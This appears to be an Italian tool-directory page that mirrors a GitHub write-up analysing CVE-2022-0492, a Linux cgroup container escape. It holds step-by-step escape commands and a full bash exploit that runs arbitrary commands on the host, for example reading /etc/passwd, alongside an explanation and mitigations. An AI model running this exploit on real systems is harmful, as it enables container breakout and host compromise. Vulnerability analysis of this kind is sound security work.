Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-0492 — CVE-2022-0492 EXP e resoconto dell'analisi | Kitploit
Strumenti/GitHubGitHub/chenaotian/cve-2022-0492
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitApprendimento e FormazioneEscape dal ContainerLab e Pratica
GitHubchenaotian/cve-2022-0492

CVE-2022-0492

CVE-2022-0492 EXP e resoconto dell'analisi

Vedi Repository
3294 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-0492 Analisi di Fuga dal Container

[toc]

Introduzione alla Vulnerabilità

ID Vulnerabilità: CVE-2022-0492

Prodotto Vulnerabile: kernel linux - cgroup

Versioni Interessate: ~linux kernel 5.17-rc3

Impatto Vulnerabilità: Quando il container non ha misure di sicurezza aggiuntive attive, ottenere i permessi di root all'interno del container permette di fuggire all'host.

Configurazione dell'Ambiente

Su una macchina Linux con una versione del kernel vulnerabile, utilizzare Docker.

root@kitploit:~
# Avvia Docker disabilitando tutte le protezioni di sicurezza
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 

Questo articolo utilizza Docker come ambiente sperimentale.

Principio della Vulnerabilità e Conoscenze Correlate

Il metodo di sfruttamento di questa vulnerabilità è già ben noto, ma il punto chiave è la mancanza di verifica dei permessi per la modifica di release_agent in cgroup, che abbassa ulteriormente la soglia per lo sfruttamento (prima era necessaria la capacità CAP_SYS_ADMIN, con questa vulnerabilità non serve). Per le differenze specifiche nelle precondizioni di sfruttamento, vedere la sezione "Condizioni di Sfruttamento" di seguito.

Punto di Occorrenza della Vulnerabilità

Analizzando la patch, è stata modificata la funzione cgroup_release_agent_write, aggiungendo l'autenticazione. Ciò significa che release_agent di cgroup non può più essere modificato da utenti senza i permessi necessari:

image-20220310201629995

Quindi la vulnerabilità è determinata da un controllo di accesso inefficace.

Introduzione a cgroup

cgroup (Control Group) è una funzionalità del kernel Linux utilizzata per limitare, controllare e separare le risorse (come CPU, memoria, I/O su disco) di un gruppo di processi.

cgroup ha i seguenti sottosistemi:

  1. devices – permessi sui dispositivi a livello di processo
  2. cpuset – assegna le CPU e i nodi di memoria che un processo può utilizzare
  3. cpu – controlla l'utilizzo della CPU
  4. cpuacct – statistiche sull'uso della CPU, ad esempio tempo di esecuzione, tempo throttled
  5. memory – limita l'utilizzo massimo di memoria
  6. freezer – sospende i processi in un cgroup
  7. net_cls – insieme a tc (traffic controller) limita la larghezza di banda di rete
  8. net_prio – imposta la priorità del traffico di rete dei processi
  9. huge_tlb – limita l'utilizzo di HugeTLB
  10. perf_event – consente a Perf di eseguire misurazioni basate sui gruppi cgroup

I cgroup dell'host si trovano tutti in /sys/fs/cgroup, dove si possono vedere i vari sottosistemi cgroup:

image-20220311113636040

I cgroup corrispondenti in Docker sono nodi figli di quelli dell'host. Visualizzazione del cgroup di memoria in Docker:

image-20220311113811776

Il nodo corrispondente al nome del contenitore nella directory Docker dell'host è identico:

image-20220311113853019

Utilizzo di cgroup

cgroup viene utilizzato tramite un file system. Montando cgroup in una directory tramite mount, cgroup interagisce con noi attraverso il filesystem virtuale VFS. Le interfacce di cgroup sono presentate sotto forma di file, quindi si utilizzano le normali operazioni sui file per impostare i parametri di cgroup.

root@kitploit:~
mount -t cgroup -o memory cgroup /tmp/testcgroup

image-20220311111853198

È possibile creare nodi figli di cgroup creando sottodirectory nella directory: mkdir /tmp/testcgroup/x.

release_agent

Ogni sottosistema di cgroup ha il parametro notify_on_release, di tipo Boolean (1 o 0). Può rispettivamente abilitare o disabilitare l'esecuzione del comando di rilascio. Se notify_on_release è abilitato (1), quando il cgroup non contiene più alcun task (cioè quando l'ultimo processo nel cgroup termina e il PID nel file tasks del cgroup è vuoto), il kernel esegue il contenuto del file specificato dal parametro release_agent. Il valore di notify_on_release viene modificato attraverso il file notify_on_release.

image-20220311114023546

La vulnerabilità risiede nella modifica di release_agent. In origine, chiunque potesse operare su cgroup poteva modificare release_agent, ma per usare cgroup era necessaria la capacità CAP_SYS_ADMIN. Successivamente, i ricercatori hanno scoperto che creando un nuovo namespace con il comando unshare si ottengono tutte le capabilities, quindi la restrizione CAP_SYS_ADMIN viene aggirata, abbassando notevolmente la soglia di sfruttamento.

Comando unshare

Il comando unshare ha la funzione di rimuovere la condivisione di namespace specificati dal processo padre, per poi eseguire il programma specificato nel nuovo namespace creato. Rilevante per il nostro sfruttamento: il nuovo namespace creato da unshare possiede tutte le capabilities, inclusa CAP_SYS_ADMIN.

image-20220311102635204

Sfruttamento della Vulnerabilità

Lo sfruttamento di questa vulnerabilità è uguale al tradizionale metodo di fuga con CAP_SYS_ADMIN + release_agent di cgroup, ma le condizioni di sfruttamento differiscono.

Condizioni di Sfruttamento

Le differenze tra le condizioni di sfruttamento di questa vulnerabilità e quelle del tradizionale release_agent sono:

Tradizionale release_agent: Il container deve avere CAP_SYS_ADMIN e non deve avere apparmor o selinux attivi.

CVE-2022-0492: Il container deve essere "nudo" (più precisamente: seccomp non deve disabilitare unshare, apparmor non deve impostare cgroup in sola lettura, selinux disattivato), e si ottiene l'accesso root all'interno del container. Non è necessario ottenere CAP_SYS_ADMIN.

È interessante notare che il profilo apparmor predefinito di Docker imposta cgroup in sola lettura, e il profilo seccomp predefinito di Docker disabilita unshare quando non si ha CAP_SYS_ADMIN. Kubernetes di default di solito esegue container "nudi". In ogni caso, poiché lo sfruttamento è relativamente semplice, si può provare in scenari specifici.

Dopo la correzione della vulnerabilità: Secondo il codice della patch:

image-20220310201629995

Per modificare il file release_agent sono necessarie due condizioni:

  1. Essere nel namespace radice (root namespace)
  2. Possedere la capacità CAP_SYS_ADMIN

Pertanto, dopo la correzione, la capacità CAP_SYS_ADMIN ottenuta tramite unshare non può più essere utilizzata per modificare release_agent, perché il nuovo namespace creato da unshare non è il namespace radice. Tuttavia, se il container possiede già la capacità CAP_SYS_ADMIN, può ancora utilizzare questo metodo di fuga.

Sfruttamento

Ottenere CAP_SYS_ADMIN

Se il container è stato avviato con il parametro --cap-add=SYS_ADMIN o --privileged (container privilegiato), possiede già CAP_SYS_ADMIN e non è necessario ottenerlo ulteriormente. Ad esempio con il comando di avvio:

root@kitploit:~
# Avvia Docker con sys_admin, disabilita apparmor (altrimenti non si può montare)
docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 

Un container con CAP_SYS_ADMIN può procedere direttamente al passo successivo "Modifica di release_agent". Per avviare un Docker senza CAP_SYS_ADMIN e riprodurre la vulnerabilità:

root@kitploit:~
# Avvia Docker disabilitando tutte le protezioni di sicurezza
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 

Senza CAP_SYS_ADMIN, si può ottenere la capacità attraverso il comando unshare:

root@kitploit:~
unshare -UrmC --propagation=unchanged bash 

Il nuovo namespace possiede tutte le capabilities.

image-20220311102635204

Montare cgroup e ottenere il percorso del container nell'host

Montare cgroup in una directory. Poiché si utilizza mount, è necessario il permesso CAP_SYS_ADMIN. Dopo il passo precedente, lo abbiamo già (o lo abbiamo ottenuto tramite unshare). Inoltre, dobbiamo creare un nodo cgroup nel cgroup appena montato, per facilitare la successiva operazione di svuotamento dei task:

root@kitploit:~
mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup
# Quindi creare un nodo figlio in /tmp/testcgroup
mkdir /tmp/testcgroup/x

Se memory non può essere montato o non ha release_agent, si può provare un altro sottosistema cgroup.

Dal file /etc/mtab è possibile leggere le informazioni sul filesystem overlay di Docker montato. Il campo upperdir contiene il percorso assoluto della directory root del container nell'host:

image-20220311104701790

Si può ottenere con il seguente comando:

root@kitploit:~
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

Modificare release_agent e attivare la fuga

Impostare notify_on_release a 1 per abilitare l'esecuzione di release_agent quando i task vengono svuotati:

root@kitploit:~
echo 1 > /tmp/testcgroup/x/notify_no_release

Creare il file che verrà eseguito quando release_agent viene attivato:

root@kitploit:~
touch /cmd
echo '#!/bin/sh' > /cmd
echo "ps -ef >> $host_path/result"  >> /cmd
chmod 777 /cmd

Modificare release_agent puntandolo al percorso del file cmd nell'host (il percorso della directory root del container nell'host è già stato ottenuto sopra):

root@kitploit:~
echo "$host_path/cmd" > /tmp/testcgroup/release_agent

Successivamente, aggiungere un task al nodo cgroup x, scrivendo il PID della shell corrente nel file cgroup.procs:

root@kitploit:~
sh -c "echo \$\$ >  /tmp/testcgroup/x/cgroup.procs"

Il comando sh esegue solo un echo, che termina immediatamente. Così il nodo x non avrà più task, attivando notify_on_release che esegue il file /cmd specificato da release_agent. Il kernel esegue il comando all'esterno del container, completando la fuga. Fuga riuscita:

image-20220311110810458

Exploit (exp)

Sulla base della procedura, è stato scritto un exploit:

root@kitploit:~
#!/bin/bash
hackCMD=$1
CAP_SYS_ADMIN=0x80000
ifSysAdmin=0
mountDir=/tmp/testcgroup
cmdPath=/cmd
hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

mkdir $mountDir
# create cmd
touch $cmdPath
echo '#!/bin/sh' > $cmdPath
echo "$1 > $hostPath/result"  >> $cmdPath
chmod 777 $cmdPath

#create escape.sh
cat <<EOF > ./escape.sh
#!/bin/bash

subsys=\$1
mountDir=\$2
host_path=\$3

mount -t cgroup -o \$subsys cgroup \$mountDir 
if [ ! -d \$mountDir/x ]
then
    mkdir \$mountDir/x
fi

cd \$mountDir/x
echo 1 > \$mountDir/x/notify_on_release
echo "\$host_path/cmd" > \$mountDir/release_agent

sh -c "echo \\\$\\\$ >  \$mountDir/x/cgroup.procs"
sleep 0.5
umount $mountDir 
EOF
chmod 777 ./escape.sh

#get if has cap_sys_admin
nowCap=`cat /proc/$$/status | grep CapEff`
nowCap=${nowCap#*CapEff:}
nowCap=${nowCap%%CapEff*}
nowCap=0x${nowCap: 1: 16}

ifSysAdmin=0
if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ]
then
    ifSysAdmin=1
fi

if [ $ifSysAdmin == 1 ]
then 
    echo "[+] You have CAP_SYS_ADMIN!"
else
    echo "[-] You donot have CAP_SYS_ADMIN, will try"
fi

#try escape
while read -r subsys
do
    if [ $ifSysAdmin == 1 ]
    then
        if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then
            ./escape.sh $subsys $mountDir $hostPath 
            echo "[+] Escape Success!"
            rm -r $mountDir
            cat /result
            rm  /result
            exit 0
        fi
    else
        if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then
            unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath"
            echo "[+] Escape Success with unshare!"
            rm -r $mountDir
            cat /result
            rm  /result
            exit 0
        fi
    fi
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')

echo "[-] Escape Fail!"
rm -r $mountDir

Eseguire direttamente, passando come argomento il comando da eseguire per la fuga: ad esempio ./exp.sh "cat /etc/passwd"

Fuga riuscita:

image-20220311153511050

Misure di Mitigazione

Di default, Docker abilita seccomp e apparmor, quindi la vulnerabilità non può essere sfruttata in container che hanno le regole predefinite di seccomp e apparmor attive. Kubernetes di default non ha misure di sicurezza; è necessario abilitare manualmente seccomp, apparmor o selinux.

Riferimenti

https://nvd.nist.gov/vuln/detail/CVE-2022-0492

https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492

https://www.freebuf.com/vuls/264843.html

Inoltre, sono state consultate persone coinvolte nella scoperta di questa vulnerabilità.

Scarica lo strumento